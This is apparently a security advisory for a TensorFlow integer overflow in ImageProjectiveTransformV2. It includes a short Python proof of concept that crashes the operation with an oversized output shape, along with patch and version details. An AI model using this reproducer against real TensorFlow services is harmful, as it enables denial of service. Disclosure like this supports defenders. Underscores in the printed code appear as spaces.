PT-2026-59724 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
4.8
Medium
| Vector | AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H |
Impact
When [
tf.raw ops.ImageProjectiveTransformV2](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/image ops.cc) is given a large output shape, it overflows.python
import tensorflow as tf
interpolation = "BILINEAR"
fill mode = "REFLECT"
images = tf.constant(0.184634328, shape=[2,5,8,3], dtype=tf.float32)
transforms = tf.constant(0.378575385, shape=[2,8], dtype=tf.float32)
output shape = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
tf.raw ops.ImageProjectiveTransformV2(images=images, transforms=transforms, output shape=output shape, interpolation=interpolation, fill mode=fill mode)Patches
We have patched the issue in GitHub commit 8faa6ea692985dbe6ce10e1a3168e0bd60a723ba.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.
Fix
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Related Identifiers
Affected Products
Tensorflow